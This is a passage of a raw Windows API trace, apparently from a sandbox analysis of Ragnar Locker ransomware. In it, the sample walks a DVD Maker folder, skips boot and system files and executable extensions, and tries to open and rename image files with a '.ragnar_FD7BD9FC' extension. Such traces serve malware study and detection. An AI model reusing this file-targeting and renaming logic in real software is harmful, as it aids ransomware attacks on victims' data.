lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.169] lstrcpyW (in: lpString1=0x1ea73e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x816e8060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.169] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.169] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x816e8060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.169] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.169] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.169] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.169] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.169] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.169] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0079.169] lstrcmpiW (lpString1="1047_576black.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="1047_576black.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="push.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="push.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="push_item.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="push_item.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0079.170] lstrcmpiW (lpString1="push_title.png", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="push_title.png", lpString2="..") returned 1 [0079.170] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x816e8060, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.170] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.170] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.171] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x816e8060, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.171] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x816e8060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.171] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x816e8060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.171] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.171] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.171] lstrcpyW (in: lpString1=0x1eab52, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.171] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png") returned=".png" [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0079.171] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0079.171] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.171] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.171] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.171] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.171] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.171] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.171] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0079.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.172] CloseHandle (hObject=0xffffffff) returned 0 [0079.172] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" [0079.172] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.ragnar_FD7BD9FC" [0079.172] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.172] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0079.172] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.172] lstrcpyW (in: lpString1=0x1eab52, lpString2="1047_576black.png" | out: lpString1="1047_576black.png") returned="1047_576black.png" [0079.172] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned=".png" [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="autorun.inf") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="boot.ini") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="bootfont.bin") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="bootsect.bak") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="bootmgr") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="bootmgr.efi") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="bootmgfw.efi") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="desktop.ini") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="iconcache.db") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="ntldr") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="ntuser.dat") returned -1 [0079.172] lstrcmpiW (lpString1="1047_576black.png", lpString2="ntuser.dat.log") returned -1 [0079.173] lstrcmpiW (lpString1="1047_576black.png", lpString2="ntuser.ini") returned -1 [0079.173] lstrcmpiW (lpString1="1047_576black.png", lpString2="thumbs.db") returned -1 [0079.173] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.173] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.173] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.173] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.173] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.173] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.173] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0079.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.173] CloseHandle (hObject=0xffffffff) returned 0 [0079.173] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" [0079.173] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.ragnar_FD7BD9FC" [0079.173] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.173] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.173] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.173] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.173] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.173] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.173] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.174] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.174] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.174] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.174] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.174] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.174] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.174] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.174] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0079.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.174] CloseHandle (hObject=0xffffffff) returned 0 [0079.174] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD 